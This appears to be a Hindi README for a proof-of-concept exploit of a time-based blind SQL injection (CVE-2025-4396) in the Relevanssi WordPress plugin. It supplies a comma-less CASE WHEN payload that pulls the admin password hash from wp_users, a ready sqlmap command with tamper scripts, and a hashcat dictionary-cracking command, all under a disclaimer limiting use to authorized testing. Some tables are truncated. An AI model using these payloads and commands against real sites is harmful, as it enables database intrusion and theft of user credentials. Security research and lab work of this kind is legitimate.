CVE-2025-4396 — Relevanssi SQL इंजेक्शन (समय-आधारित ब्लाइंड)
अस्वीकरण: यह रिपॉजिटरी केवल अधिकृत पैठ परीक्षण, सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध और अनैतिक है।
अवलोकन
Relevanssi 4.24.4 वर्डप्रेस प्लगइन में समय-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। यह कार्यान्वयन विशेष रूप से ऐसे कठोर वातावरणों को संबोधित करता है जहां:
- कॉमा फ़िल्टर किए जाते हैं — मानक
SUBSTR(str, pos, len) और IF(cond, true, false) सिंटैक्स को तोड़ते हैं
- लालची स्लीप व्यवहार होता है — जिससे MySQL
SLEEP() को पूरे अभिव्यक्ति का मूल्यांकन करने से पहले निष्पादित करता है, जिससे गलत सकारात्मक परिणाम उत्पन्न होते हैं
पृष्ठभूमि
कुछ वातावरणों में (जैसे DVWP लैब), मानक SQL इंजेक्शन पेलोड दो प्रमुख कारणों से विफल होते हैं:
| समस्या | प्रभाव |
|---|
| कॉमा हटाना | SUBSTR(str, pos, len) और IF(cond, true, false) को तोड़ता है |
लालची SLEEP() | MySQL पूर्ण बूलियन अभिव्यक्ति से पहले स्लीप का मूल्यांकन करता है, जिससे गलत सकारात्मक परिणाम होते हैं |
दोनों समस्याओं के लिए लक्षित समाधानों की आवश्यकता है — नीचे मैन्युअल और स्वचालित दृष्टिकोणों में शामिल किए गए हैं।
मैन्युअल एक्सप्लॉइट (asy.py)
एक एसिंक्रोनस पायथन स्क्रिप्ट जो सर्जिकल कैरेक्टर-दर-कैरेक्टर निष्कर्षण प्रदान करती है। स्वचालित टूल का ओवरहेड से बचती है और CASE WHEN लॉजिक के माध्यम से कॉमा फ़िल्टरिंग को बायपास करती है।
विशेषताएँ
| विशेषता | कार्यान्वयन |
|---|
| Async I/O | aiohttp गैर-अवरुद्ध अनुरोधों के लिए |
कोर इंजेक्शन लॉजिक
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
IF() के बजाय CASE WHEN क्यों?
IF() कॉमा का उपयोग करता है और लालची मूल्यांकन के अधीन है। CASE WHEN आलसी मूल्यांकन करता है, जिससे सुनिश्चित होता है कि SLEEP() केवल तभी ट्रिगर होता है जब स्थिति वास्तव में TRUE हो।
स्वचालित एक्सप्लॉइट (SQLMap)
SQLMap इस वातावरण में विशिष्ट टैम्पर स्क्रिप्ट और फ्लैग का उपयोग करके खोज को स्वचालित कर सकता है।
कमांड
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
फ्लैग संदर्भ
--threads=1 पर नोट: यह विश्वसनीय निष्कर्षण के लिए आवश्यक है। कई थ्रेड स्लीप विलंब को ओवरलैप करने का कारण बनते हैं, जिससे बाइनरी सर्च समय खराब हो जाता है और गलत आउटपुट उत्पन्न होता है।
प्रयोगशाला निष्कर्ष
| फ़ील्ड | मान |
|---|
| लक्ष्य | WordPress table |
हैश को क्रैक करना
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- मोड
-m 400 phpass हैश को लक्षित करता है
- हमला
-a 0 rockyou.txt का उपयोग करके एक सीधा शब्दकोश हमला है
संदर्भ